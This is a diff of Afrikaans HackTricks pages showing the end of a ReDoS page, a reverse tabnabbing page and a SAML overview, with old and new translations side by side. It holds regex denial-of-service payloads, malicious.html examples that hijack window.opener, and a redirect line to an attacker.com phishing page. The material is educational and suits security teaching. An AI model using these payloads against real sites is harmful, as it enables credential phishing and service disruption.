* In [**hierdie oplossing**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) kan jy hierdie een vind: `<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**hierdie oplossing**](https://ctftime.org/writeup/25869) het hy gebruik: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
* In [**hierdie skrywe**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) kan jy hierdie een vind:`<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**hierdie skrywe**](https://ctftime.org/writeup/25869) het hy gebruik: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Beheer van Inset en Regex
### ReDoS Controlling Input and Regex
Die volgende is **ReDoS** voorbeelde waar jy **beide die inset** en die **regex beheer**:
Die volgende is **ReDoS** voorbeelde waar jy **beide** die **invoer** en die **regex** **beheer**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
@ -79,27 +78,28 @@ Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Gereedskap
## Tools
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Verwysings
## References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Beskrywing
In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** tag met die eienskap **`target="_blank" rel="opener"`** kan **beheer** wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is ( 'n **skadelike** **webwerf**). Dan, sodra die **slagoffer die skakel kliek** en toegang tot die aanvaller se webwerf verkry, sal hierdie **skadelike** **webwerf** in staat wees om die **oorspronklike** **bladsy** te **beheer** via die javascript-objek **`window.opener`**.\
As die bladsy nie **`rel="opener"` het nie, maar `target="_blank"` bevat en ook nie `rel="noopener"` het nie, kan dit ook kwesbaar wees.
In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** etiket met die attribuut **`target="_blank" rel="opener"`** kan **beheer** wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is (n **kwaadwillige** **webwerf**). Dan, sodra die **slagoffer op** die skakel klik en toegang tot die aanvaller se webwerf verkry, sal hierdie **kwaadwillige** **webwerf** in staat wees om die **oorspronklike** **bladsy** via die javascript objek **`window.opener`** te **beheer**.\
As die bladsy nie **`rel="opener"` het nie, maar `target="_blank"` bevat, en ook nie `rel="noopener"` het nie, kan dit ook kwesbaar wees.
'n Gewone manier om van hierdie gedrag misbruik te maak, sou wees om die ligging van die oorspronklike web te **verander** via `window.opener.location = https://attacker.com/victim.html` na 'n web wat deur die aanvaller beheer word en wat **lyk soos die oorspronklike een**, sodat dit die **aanmeldingsvorm** van die oorspronklike webwerf kan **naboots** en die gebruiker om geloofsbriewe kan vra.
'n Gereelde manier om hierdie gedrag te misbruik, sou wees om die **ligging van die oorspronklike web** te **verander** via `window.opener.location = https://attacker.com/victim.html` na 'n web wat deur die aanvaller beheer word wat **soos die oorspronklike een lyk**, sodat dit die **inlog** **vorm** van die oorspronklike webwerf kan **imiteer** en om gebruikers se kredensiale kan vra.
Let egter daarop dat aangesien die **aanvaller nou die vensterobjek van die oorspronklike webwerf kan beheer**, hy dit op ander maniere kan misbruik om **stealthier aanvalle** uit te voer (dalk deur javascript-gebeurtenisse te wysig om inligting na 'n deur hom beheerde bediener uit te lek?)
Let egter daarop dat aangesien die **aanvaller nou die venster objek van die oorspronklike webwerf kan beheer**, kan hy dit op ander maniere misbruik om **stealthier aanvalle** uit te voer (miskien javascript gebeurtenisse te modifiseer om inligting na 'n bediener wat deur hom beheer word, te ex-filtreer?)
# Oorsig
## Met terugskakel
Skakel tussen ouer- en kinderbladsye wanneer die voorkomingskenmerk nie gebruik word nie:
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut nie gebruik word nie:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Sonder terugskakel
Skakel tussen ouer- en kinderbladsye wanneer die voorkomingskenmerk gebruik word:
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut gebruik word:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Voorbeelde <a href="#examples" id="examples"></a>
Skep die volgende bladsye in 'n vouer en voer 'n webbediener uit met `python3 -m http.server`\
Toets dan, **besoek** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel en let op hoe die **oorspronklike** **webwerf-URL verander**.
Skep die volgende bladsye in 'n gids en draai 'n webbediener met `python3 -m http.server`\
Dan, **toegang** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel en let op hoe die **oorspronklike** **webwerf** **URL** **verander**.
{% code title="vulnerable.html" %}
```markup
@ -51,7 +52,9 @@ Toets dan, **besoek** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die s
</body>
</html>
```
{% code title="skadelik.html" %}
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
@ -62,7 +65,9 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</body>
</html>
```
{% code title="skadelike_redir.html" %}
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
@ -75,39 +80,37 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## Toeganklike eienskappe <a href="#accessible-properties" id="accessible-properties"></a>
In die scenario waar 'n **kruis-oorsprong** toegang plaasvind (toegang oor verskillende domeine), is die eienskappe van die **window** JavaScript-klasinstansie, waarna verwys word deur die **opener** JavaScript-objekverwysing, wat deur 'n skadelike webwerf toeganklik is, beperk tot die volgende:
In die scenario waar 'n **cross-origin** toegang plaasvind (toegang oor verskillende domeine), is die eienskappe van die **window** JavaScript klasinstansie, waarna verwys word deur die **opener** JavaScript objekverwysing, wat deur 'n kwaadwillige webwerf verkry kan word, beperk tot die volgende:
- **`opener.closed`**: Hierdie eienskap word gebruik om vas te stel of 'n venster gesluit is, en gee 'n booleaanse waarde terug.
- **`opener.closed`**: Hierdie eienskap word gebruik om te bepaal of 'n venster gesluit is, wat 'n booleaanse waarde teruggee.
- **`opener.frames`**: Hierdie eienskap bied toegang tot alle iframe-elemente binne die huidige venster.
- **`opener.length`**: Die aantal iframe-elemente wat in die huidige venster teenwoordig is, word deur hierdie eienskap teruggegee.
- **`opener.opener`**: 'n Verwysing na die venster wat die huidige venster geopen het, kan verkry word deur hierdie eienskap.
- **`opener.parent`**: Hierdie eienskap gee die ouer-venster van die huidige venster terug.
- **`opener.opener`**: 'n Verwysing na die venster wat die huidige venster geopen het, kan deur hierdie eienskap verkry word.
- **`opener.parent`**: Hierdie eienskap gee die ouerventers van die huidige venster terug.
- **`opener.self`**: Toegang tot die huidige venster self word deur hierdie eienskap verskaf.
- **`opener.top`**: Hierdie eienskap gee die venster met die hoogste vlak in die blaaier terug.
- **`opener.top`**: Hierdie eienskap gee die boonste blaaivenster terug.
In gevalle waar die domeine egter identies is, verkry die skadelike webwerf toegang tot alle eienskappe wat deur die [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript-objekverwysing blootgestel word.
E however, in gevalle waar die domeine identies is, verkry die kwaadwillige webwerf toegang tot alle eienskappe wat deur die [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript objekverwysing blootgestel word.
# Voorkoming
Voorkomingsinligting word gedokumenteer in die [HTML5 Spiekbriefie](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
Voorkomingsinligting is gedokumenteer in die [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Verwysings
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,92 +1,93 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SAML-oorsig
# SAML Oorsig
**Security Assertion Markup Language (SAML)** maak dit moontlik vir identiteitsverskaffers (IdP) om gebruik te word vir die stuur van outorisasie-legitimasie na diensverskaffers (SP), wat enkel-aanmelding (SSO) fasiliteer. Hierdie benadering vereenvoudig die bestuur van veelvuldige aanmeldings deur 'n enkele stel legitimasie te gebruik vir verskeie webwerwe. Dit maak gebruik van XML vir gestandaardiseerde kommunikasie tussen IdP's en SP's, wat die outentisering van gebruikersidentiteit koppel met diens-outorisasie.
**Security Assertion Markup Language (SAML)** stel identiteitsverskaffers (IdP) in staat om gebruik te word om magtigingsbewyse na diensverskaffers (SP) te stuur, wat enkel aanmelding (SSO) vergemaklik. Hierdie benadering vereenvoudig die bestuur van verskeie aanmeldings deur 'n enkele stel van bewysstukke oor verskeie webwerwe te gebruik. Dit benut XML vir gestandaardiseerde kommunikasie tussen IdP's en SP's, wat die verifikasie van gebruikersidentiteit met diensmagtiging verbind.
## Vergelyking tussen SAML en OAuth
- **SAML** is toegespits op die bied van groter beheer aan ondernemings oor SSO-aanmeldingsbeveiliging.
- **OAuth** is ontwerp om meer mobielvriendelik te wees, maak gebruik van JSON, en is 'n samewerkingspoging van maatskappye soos Google en Twitter.
- **SAML** is daarop gemik om ondernemings groter beheer oor SSO aanmeldingsveiligheid te bied.
- **OAuth** is ontwerp om meer mobiele-vriendelik te wees, gebruik JSON, en is 'n samewerkende poging van maatskappye soos Google en Twitter.
# SAML-outentiseringsvloei
# SAML Verifikasie Stroom
**Vir verdere besonderhede, kyk na die volledige berig vanaf [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Hierdie is 'n opsomming:
**Vir verdere besonderhede, kyk na die volledige pos van [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Dit is 'n opsomming:
Die SAML-outentiseringsproses behels verskeie stappe, soos geïllustreer in die skema:
Die SAML verifikasie proses behels verskeie stappe, soos geïllustreer in die skema:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Toegangspoging tot hulpbron**: Die gebruiker probeer toegang verkry tot 'n beskermde hulpbron.
2. **SAML-versoekgenerering**: Die SP herken die gebruiker nie en genereer 'n SAML-versoek.
3. **Omleiding na IdP**: Die gebruiker word omgelei na die IdP, met die SAML-versoek wat deur die gebruiker se blaaier gaan.
4. **IdP ontvang versoek**: Die IdP ontvang die SAML-versoek.
5. **Outentisering by IdP**: Die IdP outentiseer die gebruiker.
6. **Gebruikersvalidering**: Die IdP valideer die gebruiker se legitimiteit om toegang te verkry tot die versoekte hulpbron.
7. **SAML-antwoordgenerering**: Die IdP genereer 'n SAML-antwoord met nodige bewerings.
8. **Omleiding na SP se ACS-URL**: Die gebruiker word omgelei na die SP se Assertion Consumer Service (ACS)-URL.
9. **SAML-antwoordvalidering**: Die ACS valideer die SAML-antwoord.
10. **Toegang tot hulpbron toegestaan**: Toegang tot die aanvanklik versoekte hulpbron word toegestaan.
1. **Hulpbron Toegang Poging**: Die gebruiker probeer om toegang te verkry tot 'n beskermde hulpbron.
2. **SAML Versoek Generasie**: Die SP herken nie die gebruiker nie en genereer 'n SAML Versoek.
3. **Herlei na IdP**: Die gebruiker word na die IdP herlei, met die SAML Versoek wat deur die gebruiker se blaaier gaan.
4. **IdP Ontvang Versoek**: Die IdP ontvang die SAML Versoek.
5. **Verifikasie by IdP**: Die IdP verifieer die gebruiker.
6. **Gebruiker Validasie**: Die IdP valideer die gebruiker se legitimiteit om toegang tot die aangevraagde hulpbron te verkry.
7. **SAML Antwoord Generasie**: Die IdP genereer 'n SAML Antwoord wat nodige bewerings bevat.
8. **Herlei na SP se ACS URL**: Die gebruiker word na die SP se Assertion Consumer Service (ACS) URL herlei.
9. **SAML Antwoord Validasie**: Die ACS valideer die SAML Antwoord.
10. **Hulpbron Toegang Gegee**: Toegang tot die aanvanklik aangevraagde hulpbron word gegee.
# Voorbeeld van SAML-versoek
# SAML Versoek Voorbeeld
Beskou die scenario waar 'n gebruiker toegang tot 'n veilige hulpbron aanvra by [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). Die SP identifiseer die gebrek aan outentisering en genereer 'n SAML-versoek:
Oorweeg die scenario waar 'n gebruiker toegang tot 'n veilige hulpbron by [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) aanvra. Die SP identifiseer die gebrek aan verifikasie en genereer 'n SAML Versoek:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
...
```
Die onbewerkte SAML-versoek lyk soos volg:
Die rou SAML-versoek lyk soos volg:
```xml
<?xml version="1.0"?>
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
Belangrike elemente van hierdie versoek sluit in:
- **AssertionConsumerServiceURL**: Spesifiseer waar die IdP die SAML Response na outentifikasie moet stuur.
- **Destination**: Die IdP se adres waarna die versoek gestuur word.
Key elements of this request include:
- **AssertionConsumerServiceURL**: Gee aan waar die IdP die SAML Response na die verifikasie moet stuur.
- **Destination**: Die IdP se adres waarnatoe die versoek gestuur word.
- **ProtocolBinding**: Definieer die oordragmetode van SAML-protokolboodskappe.
- **saml:Issuer**: Identifiseer die entiteit wat die versoek geïnisieer het.
Na die generering van die SAML-versoek, reageer die SP met 'n **302 omleiding**, wat die blaaier na die IdP rig met die SAML-versoek gekodeer in die HTTP-reaksie se **Location**-kop. Die **RelayState**-parameter handhaaf die toestandinligting gedurende die transaksie, om te verseker dat die SP die oorspronklike bronversoek herken wanneer die SAML Response ontvang word. Die **SAMLRequest**-parameter is 'n saamgedrukte en gekodeerde weergawe van die rou XML-snippet, wat gebruik maak van Deflate-samepersing en base64-kodering.
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# Voorbeeld van 'n SAML Response
# SAML Response Example
Jy kan 'n [volledige SAML-response hier vind](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Die sleutelkomponente van die response sluit in:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: Hierdie gedeelte, 'n XML-handtekening, verseker die integriteit en egtheid van die uitreiker van die bewering. Die SAML-response in die voorbeeld bevat twee `ds:Signature`-elemente, een vir die boodskap en die ander vir die bewering.
- **saml:Assertion**: Hierdie deel bevat inligting oor die identiteit van die gebruiker en moontlik ander eienskappe.
- **saml:Subject**: Dit spesifiseer die hoofonderwerp van al die verklarings in die bewering.
- **saml:StatusCode**: Verteenwoordig die status van die operasie in reaksie op die betrokke versoek.
- **saml:Conditions**: Gee besonderhede oor voorwaardes soos die geldigheidstyd van die Bewering en die gespesifiseerde Diensverskaffer.
- **saml:AuthnStatement**: Bevestig dat die IdP die onderwerp van die Bewering geoutentiseer het.
- **saml:AttributeStatement**: Bevat eienskappe wat die onderwerp van die Bewering beskryf.
- **ds:Signature**: Hierdie afdeling, 'n XML-handtekening, verseker die integriteit en egtheid van die uitgever van die bevestiging. Die SAML-response in die voorbeeld bevat twee `ds:Signature` elemente, een vir die boodskap en die ander vir die bevestiging.
- **saml:Assertion**: Hierdie deel hou inligting oor die gebruiker se identiteit en moontlik ander eienskappe.
- **saml:Subject**: Dit spesifiseer die hoofonderwerp van al die stellings in die bevestiging.
- **saml:StatusCode**: Verteenwoordig die status van die operasie in reaksie op die ooreenstemmende versoek.
- **saml:Conditions**: Beskryf voorwaardes soos die geldigheidstyd van die bevestiging en die gespesifiseerde diensverskaffer.
- **saml:AuthnStatement**: Bevestig dat die IdP die onderwerp van die bevestiging geverifieer het.
- **saml:AttributeStatement**: Bevat eienskappe wat die onderwerp van die bevestiging beskryf.
Na die SAML Response sluit die proses 'n 302 omleiding van die IdP in. Dit lei tot 'n POST-versoek na die Diensverskaffer se Assertion Consumer Service (ACS) URL. Die POST-versoek bevat `RelayState`- en `SAMLResponse`-parameters. Die ACS is verantwoordelik vir die verwerking en geldigverklaring van die SAML Response.
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
Nadat die POST-versoek ontvang is en die SAML Response geldig verklaar is, word toegang verleen tot die beskermde bron wat aanvanklik deur die gebruiker versoek is. Dit word geïllustreer met 'n `GET`-versoek na die `/secure/`-eindpunt en 'n `200 OK`-reaksie, wat suksesvolle toegang tot die bron aandui.
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# XML-handtekeninge
# XML Signatures
XML-handtekeninge is veelsydig en kan 'n hele XML-boom of spesifieke elemente binne dit onderteken. Dit kan toegepas word op enige XML-objek, nie net Response-elemente nie. Hieronder is die sleuteltipes van XML-handtekeninge:
XML-handtekeninge is veelsydig, in staat om 'n hele XML-boom of spesifieke elemente daarin te teken. Hulle kan op enige XML-objek toegepas word, nie net op Response-elemente nie. Hieronder is die sleutelsoorte van XML-handtekeninge:
### Basiese struktuur van XML-handtekening
'n XML-handtekening bestaan uit essensiële elemente soos hieronder getoon:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
```xml
<Signature>
<SignedInfo>
@ -104,11 +105,11 @@ XML-handtekeninge is veelsydig en kan 'n hele XML-boom of spesifieke elemente bi
<Object />
</Signature>
```
Elke `Verwysing` element dui op 'n spesifieke bron wat onderteken word, wat identifiseerbaar is deur die URI-eienskap.
Elke `Reference` element dui 'n spesifieke hulpbron aan wat onderteken word, identifiseerbaar deur die URI attribuut.
### Tipes XML-handtekeninge
### Tipes XML Handtekeninge
1. **Ingeslote Handtekening**: Hierdie tipe handtekening is 'n afstammeling van die bron wat onderteken word, wat beteken dat die handtekening binne dieselfde XML-struktuur as die ondertekende inhoud bevat word.
1. **Omhulde Handtekening**: Hierdie tipe handtekening is 'n afstammeling van die hulpbron wat dit onderteken, wat beteken dat die handtekening binne dieselfde XML-struktuur as die ondertekende inhoud bevat is.
Voorbeeld:
```xml
@ -126,9 +127,9 @@ Voorbeeld:
</samlp:Response>
```
In 'n ingeslote handtekening dui die `ds:Transform` element aan dat dit ingesluit is deur die `ingeslote-handtekening` algoritme.
In 'n omhulde handtekening spesifiseer die `ds:Transform` element dat dit omhul is deur die `enveloped-signature` algoritme.
2. **Insluitende Handtekening**: In teenstelling met ingeslote handtekeninge, wikkel insluitende handtekeninge die bron wat onderteken word in.
2. **Omhulende Handtekening**: In teenstelling met omhulde handtekeninge, omhulende handtekeninge verpak die hulpbron wat onderteken word.
Voorbeeld:
```xml
@ -145,7 +146,7 @@ Voorbeeld:
</ds:Signature>
```
3. **Losgekoppelde Handtekening**: Hierdie tipe is geskei van die inhoud wat onderteken word. Die handtekening en die inhoud bestaan onafhanklik van mekaar, maar 'n skakel tussen die twee word behou.
3. **Afgeskeurde Handtekening**: Hierdie tipe is apart van die inhoud wat dit onderteken. Die handtekening en die inhoud bestaan onafhanklik, maar 'n skakel tussen die twee word gehandhaaf.
Voorbeeld:
```xml
@ -162,22 +163,23 @@ Voorbeeld:
</ds:Signature>
```
Ter opsomming, XML-handtekeninge bied buigbare maniere om XML-dokumente te beveilig, waarby elke tipe verskillende strukturele en veiligheidsbehoeftes dien.
Ten slotte bied XML Handtekeninge buigsame maniere om XML-dokumente te beveilig, met elke tipe wat verskillende struktuurlike en sekuriteitsbehoeftes dien.
## Verwysings
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{% hint style="success" %}
